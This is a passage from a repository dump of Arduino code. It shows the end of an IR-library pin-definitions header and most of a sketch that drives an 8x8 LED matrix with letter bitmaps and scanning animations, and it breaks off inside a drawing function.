//#define FEEDBACK_LED_IS_ACTIVE_LOW // The RX LED on the M0-Mini is active LOW 172 | 173 | #else 174 | #warning Board / CPU is not detected using pre-processor symbols -> using default values, which may not fit. Please extend PinDefinitionsAndMore.h. 175 | // Default valued for unidentified boards 176 | #define IR_RECEIVE_PIN 2 177 | #define IR_SEND_PIN 3 178 | #define TONE_PIN 4 179 | #define APPLICATION_PIN 5 180 | #define ALTERNATIVE_IR_FEEDBACK_LED_PIN 6 // E.g. used for examples which use LED_BUILDIN for example output. 181 | #define IR_TIMING_TEST_PIN 7 182 | #endif // defined(ESP8266) 183 | 184 | /* 185 | * Helper macro for getting a macro definition as string 186 | */ 187 | #define STR_HELPER(x) #x 188 | #define STR(x) STR_HELPER(x) 189 | -------------------------------------------------------------------------------- /8x8_LED_MATRIX/8x8_LED_MATRIX.ino: -------------------------------------------------------------------------------- 1 | #Credits: Daniel Rossi 27/04/2019 2 | #YouTube Channel: https://www.youtube.com/c/ProjectoOfficial 3 | #Instagram: @officialprojecto 4 | 5 | #define r8 0 6 | #define r7 1 7 | #define r6 2 8 | #define r5 3 9 | #define r4 4 10 | #define r3 5 11 | #define r2 6 12 | #define r1 7 13 | 14 | #define c1 8 15 | #define c2 9 16 | #define c3 10 17 | #define c4 11 18 | #define c5 12 19 | #define c6 13 20 | #define c7 19 21 | #define c8 18 22 | 23 | #define initr HIGH 24 | #define initc LOW 25 | int analoginit= 0; 26 | 27 | #define pause 100 28 | #define screenTime 50 29 | 30 | int vRows[8]={r1,r2,r3,r4,r5,r6,r7,r8}; 31 | int vCols[8]={c1,c2,c3,c4,c5,c6,c7,c8}; 32 | 33 | byte A[8][8] = {{0,0,0,1,1,0,0,0},{0,0,1,0,0,1,0,0},{0,0,1,0,0,1,0,0},{0,0,1,1,1,1,0,0},{0,0,1,0,0,1,0,0},{0,0,1,0,0,1,0,0},{0,0,1,0,0,1,0,0},{0,0,1,0,0,1,0,0}}; 34 | byte B[8][8] = {{0,0,1,1,1,0,0,0},{0,0,1,0,0,1,0,0},{0,0,1,0,0,1,0,0},{0,0,1,1,1,0,0,0},{0,0,1,0,0,1,0,0},{0,0,1,0,0,1,0,0},{0,0,1,0,0,1,0,0},{0,0,1,1,1,0,0,0}}; 35 | byte C[8][8] = {{0,0,0,0,0,0,0,0},{0,0,0,1,1,1,1,0},{0,0,1,0,0,0,0,0},{0,1,0,0,0,0,0,0},{0,1,0,0,0,0,0,0},{0,0,1,0,0,0,0,0},{0,0,0,1,1,1,1,0},{0,0,0,0,0,0,0,0}}; 36 | byte D[8][8] = {{0,0,0,0,0,0,0,0},{0,0,1,1,1,0,0,0},{0,0,1,0,0,1,0,0},{0,0,1,0,0,0,1,0},{0,0,1,0,0,0,1,0},{0,0,1,0,0,1,0,0},{0,0,1,1,1,0,0,0},{0,0,0,0,0,0,0,0}}; 37 | byte E[8][8] = {{0,0,0,0,0,0,0,0},{0,0,1,1,1,1,0,0},{0,0,1,0,0,0,0,0},{0,0,1,1,1,0,0,0},{0,0,1,0,0,0,0,0},{0,0,1,0,0,0,0,0},{0,0,1,1,1,1,0,0},{0,0,0,0,0,0,0,0}}; 38 | byte F[8][8] = {{0,0,0,0,0,0,0,0},{0,0,1,1,1,1,0,0},{0,0,1,0,0,0,0,0},{0,0,1,1,1,0,0,0},{0,0,1,0,0,0,0,0},{0,0,1,0,0,0,0,0},{0,0,1,0,0,0,0,0},{0,0,0,0,0,0,0,0}}; 39 | byte G[8][8] = {{0,0,0,0,0,0,0,0},{0,0,1,1,1,1,1,0},{0,0,1,0,0,0,0,0},{0,0,1,0,0,0,0,0},{0,0,1,0,1,1,1,0},{0,0,1,0,0,0,1,0},{0,0,1,1,1,1,1,0},{0,0,0,0,0,0,0,0}}; 40 | byte H[8][8] = {{0,0,0,0,0,0,0,0},{0,0,1,0,0,1,0,0},{0,0,1,0,0,1,0,0},{0,0,1,1,1,1,0,0},{0,0,1,0,0,1,0,0},{0,0,1,0,0,1,0,0},{0,0,1,0,0,1,0,0},{0,0,0,0,0,0,0,0}}; 41 | byte I[8][8] = {{0,0,0,0,0,0,0,0},{0,0,1,1,1,0,0,0},{0,0,0,1,0,0,0,0},{0,0,0,1,0,0,0,0},{0,0,0,1,0,0,0,0},{0,0,0,1,0,0,0,0},{0,0,1,1,1,0,0,0},{0,0,0,0,0,0,0,0}}; 42 | byte J[8][8] = {{0,0,0,0,0,0,0,0},{0,0,0,1,1,1,0,0},{0,0,0,0,1,0,0,0},{0,0,0,0,1,0,0,0},{0,0,0,0,1,0,0,0},{0,0,1,0,1,0,0,0},{0,0,1,1,1,0,0,0},{0,0,0,0,0,0,0,0}}; 43 | byte K[8][8] = {{0,0,0,0,0,0,0,0},{0,0,1,0,0,1,0,0},{0,0,1,0,1,0,0,0},{0,0,1,1,0,0,0,0},{0,0,1,0,1,0,0,0},{0,0,1,0,0,1,0,0},{0,0,1,0,0,1,0,0},{0,0,0,0,0,0,0,0}}; 44 | byte L[8][8] = {{0,0,0,0,0,0,0,0},{0,0,1,0,0,0,0,0},{0,0,1,0,0,0,0,0},{0,0,1,0,0,0,0,0},{0,0,1,0,0,0,0,0},{0,0,1,0,0,0,0,0},{0,0,1,1,1,1,0,0},{0,0,0,0,0,0,0,0}}; 45 | byte M[8][8] = {{0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0},{0,1,0,0,0,1,0,0},{1,0,1,0,1,0,1,0},{1,0,0,1,0,0,1,0},{1,0,0,0,0,0,1,0},{1,0,0,0,0,0,1,0},{0,0,0,0,0,0,0,0}}; 46 | byte N[8][8] = {{0,0,0,0,0,0,0,0},{0,0,1,0,0,0,1,0},{0,0,1,1,0,0,1,0},{0,0,1,0,1,0,1,0},{0,0,1,0,0,1,1,0},{0,0,1,0,0,0,1,0},{0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0}}; 47 | byte O[8][8] = {{0,0,0,0,0,0,0,0},{0,0,1,1,1,1,0,0},{0,1,0,0,0,0,1,0},{0,1,0,0,0,0,1,0},{0,1,0,0,0,0,1,0},{0,1,0,0,0,0,1,0},{0,0,1,1,1,1,0,0},{0,0,0,0,0,0,0,0}}; 48 | byte P[8][8] = {{0,0,0,0,0,0,0,0},{0,0,1,1,1,0,0,0},{0,0,1,0,0,1,0,0},{0,0,1,0,0,1,0,0},{0,0,1,1,1,0,0,0},{0,0,1,0,0,0,0,0},{0,0,1,0,0,0,0,0},{0,0,0,0,0,0,0,0}}; 49 | byte Q[8][8] = {{0,0,0,0,0,0,0,0},{0,0,1,1,1,1,0,0},{0,1,0,0,0,0,1,0},{0,1,0,0,0,0,1,0},{0,1,0,0,0,0,1,0},{0,1,0,0,0,1,1,0},{0,0,1,1,1,1,1,0},{0,0,0,0,0,0,0,1}}; 50 | byte R[8][8] = {{0,0,0,0,0,0,0,0},{0,0,1,1,1,0,0,0},{0,0,1,0,0,1,0,0},{0,0,1,0,0,1,0,0},{0,0,1,1,1,0,0,0},{0,0,1,0,0,1,0,0},{0,0,1,0,0,1,0,0},{0,0,0,0,0,0,0,0}}; 51 | byte S[8][8] = {{0,0,0,0,0,0,0,0},{0,0,1,1,1,1,0,0},{0,0,1,0,0,0,0,0},{0,0,1,1,1,1,0,0},{0,0,0,0,0,1,0,0},{0,0,0,0,0,1,0,0},{0,0,1,1,1,1,0,0},{0,0,0,0,0,0,0,0}}; 52 | byte T[8][8] = {{0,0,0,0,0,0,0,0},{0,1,1,1,1,1,0,0},{0,0,0,1,0,0,0,0},{0,0,0,1,0,0,0,0},{0,0,0,1,0,0,0,0},{0,0,0,1,0,0,0,0},{0,0,0,1,0,0,0,0},{0,0,0,0,0,0,0,0}}; 53 | byte U[8][8] = {{0,0,0,0,0,0,0,0},{0,1,0,0,0,0,1,0},{0,1,0,0,0,0,1,0},{0,1,0,0,0,0,1,0},{0,1,0,0,0,0,1,0},{0,0,1,0,0,1,0,0},{0,0,0,1,1,0,0,0},{0,0,0,0,0,0,0,0}}; 54 | byte V[8][8] = {{0,0,0,0,0,0,0,0},{0,0,1,0,0,0,1,0},{0,0,1,0,0,0,1,0},{0,0,1,0,0,0,1,0},{0,0,0,1,0,1,0,0},{0,0,0,1,0,1,0,0},{0,0,0,0,1,0,0,0},{0,0,0,0,0,0,0,0}}; 55 | byte W[8][8] = {{0,0,0,0,0,0,0,0},{1,0,0,0,0,0,1,0},{1,0,0,1,0,0,1,0},{0,1,0,1,0,1,0,0},{0,1,0,1,0,1,0,0},{0,0,1,0,1,0,0,0},{0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0}}; 56 | byte X[8][8] = {{0,0,0,0,0,0,0,0},{0,1,0,0,0,0,1,0},{0,0,1,0,0,1,0,0},{0,0,0,1,1,0,0,0},{0,0,0,1,1,0,0,0},{0,0,1,0,0,1,0,0},{0,1,0,0,0,0,1,0},{0,0,0,0,0,0,0,0}}; 57 | byte Y[8][8] = {{0,1,0,0,0,0,1,0},{0,1,0,0,0,0,1,0},{0,0,1,0,0,1,0,0},{0,0,1,0,0,1,0,0},{0,0,0,1,1,0,0,0},{0,0,0,1,1,0,0,0},{0,0,0,1,1,0,0,0},{0,0,0,1,1,0,0,0}}; 58 | byte Z[8][8] = {{0,1,1,1,1,1,1,0},{0,0,0,0,0,0,1,0},{0,0,0,0,0,1,0,0},{0,0,0,0,1,0,0,0},{0,0,0,1,0,0,0,0},{0,0,1,0,0,0,0,0},{0,1,0,0,0,0,0,0},{0,1,1,1,1,1,1,0}}; 59 | byte space[8][8]= {{0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0},{0,0,0,0,0,0,0,0}}; 60 | byte escl[8][8]= {{0,0,0,0,0,0,0,0},{0,0,0,1,0,0,0,0},{0,0,0,1,0,0,0,0},{0,0,0,1,0,0,0,0},{0,0,0,1,0,0,0,0},{0,0,0,0,0,0,0,0},{0,0,0,1,0,0,0,0},{0,0,0,0,0,0,0,0}}; 61 | 62 | 63 | void resetRows(){ 64 | for(int i=0;i<8;i++) 65 | digitalWrite(vRows[i],initr); 66 | } 67 | void resetCols(){ 68 | for(int i=0;i<8;i++) 69 | digitalWrite(vCols[i],initc); 70 | } 71 | 72 | void setup() { 73 | 74 | pinMode(r1,OUTPUT); 75 | pinMode(r2,OUTPUT); 76 | pinMode(r3,OUTPUT); 77 | pinMode(r4,OUTPUT); 78 | pinMode(r5,OUTPUT); 79 | pinMode(r6,OUTPUT); 80 | pinMode(r7,OUTPUT); 81 | pinMode(r8,OUTPUT); 82 | 83 | pinMode(c1,OUTPUT); 84 | pinMode(c2,OUTPUT); 85 | pinMode(c3,OUTPUT); 86 | pinMode(c4,OUTPUT); 87 | pinMode(c5,OUTPUT); 88 | pinMode(c6,OUTPUT); 89 | pinMode(c7,OUTPUT); 90 | pinMode(c8,OUTPUT); 91 | 92 | resetRows(); 93 | resetCols(); 94 | 95 | } 96 | 97 | 98 | 99 | void lightRows(){ 100 | for(int i=0;i<8;i++) 101 | digitalWrite(vRows[i],!initr); 102 | } 103 | 104 | 105 | void lightCols(){ 106 | for(int i=0;i<8;i++) 107 | digitalWrite(vCols[i],!initc); 108 | } 109 | 110 | void counter1(){ 111 | for(int i=0;i<8;i++){ 112 | resetCols(); 113 | resetRows(); 114 | digitalWrite(vCols[i],HIGH); 115 | delay(pause); 116 | for(int j=0;j<8;j++){ 117 | resetRows(); 118 | digitalWrite(vRows[j],LOW); 119 | delay(pause); 120 | } 121 | } 122 | 123 | } 124 | 125 | void counter2(){ 126 | 127 | for(int i=0;i<8;i++){ 128 | resetCols(); 129 | resetRows(); 130 | digitalWrite(vRows[i],LOW); 131 | delay(pause); 132 | for(int j=0;j<8;j++){ 133 | resetCols(); 134 | digitalWrite(vCols[j],HIGH); 135 | delay(pause); 136 | } 137 | } 138 | } 139 | 140 | void blinking(){ 141 | 142 | for(int i=0;i<3;i++){ 143 | lightCols(); 144 | lightRows(); 145 | delay(pause*10); 146 | resetRows(); 147 | resetCols(); 148 | delay(pause*10); 149 | } 150 | } 151 | 152 | void drawSymbols(byte m[8][8]){ 153 | for(int k=0;k